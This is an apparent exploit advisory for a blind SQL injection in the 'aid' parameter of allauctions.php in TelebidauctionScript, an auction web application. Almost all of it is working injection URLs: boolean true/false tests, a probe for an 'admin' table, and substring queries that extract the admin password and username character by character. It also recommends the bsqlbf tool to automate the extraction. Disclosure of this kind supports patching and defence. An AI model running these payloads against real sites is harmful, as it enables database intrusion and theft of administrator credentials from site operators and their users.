40 lines
No EOL
839 B
Text
40 lines
No EOL
839 B
Text
TelebidauctionScript(aid) Blind SQL Injection Vulnerability
|
|
____________________________________
|
|
|
|
Author : Hussin X
|
|
|
|
Home : www.IQ-TY.com
|
|
|
|
email : darkangel_g85@Yahoo.com
|
|
|
|
____________________________________
|
|
|
|
Vendor : http://www.telebidauctionscript.com/
|
|
|
|
Demo :
|
|
_______
|
|
|
|
|
|
http://server/allauctions.php?aid=2+and+1=1 (true)
|
|
|
|
|
|
http://server/allauctions.php?aid=2+and+1=0 (false )
|
|
|
|
|
|
:: Table ::
|
|
|
|
http://server/allauctions.php?aid=2+and+(SELECT+1+from+admin+limit+0,1)=1
|
|
|
|
|
|
:: column pass and username ::
|
|
|
|
http://server/allauctions.php?aid=2+and+(SELECT+substring(concat(1,pass),1,1)+from+admin+limit 0,1)=1
|
|
|
|
http://server/allauctions.php?aid=2 and (SELECT+substring(concat(1,username),1,1) from admin limit 0,1)=1
|
|
|
|
note : Use the "bsqlbf" to write detailed information
|
|
|
|
Greetz
|
|
WwW.IQ-ty.CoM , Tryag.cc
|
|
|
|
| CraCkEr | Cyber-Zone | str0ke | jiko |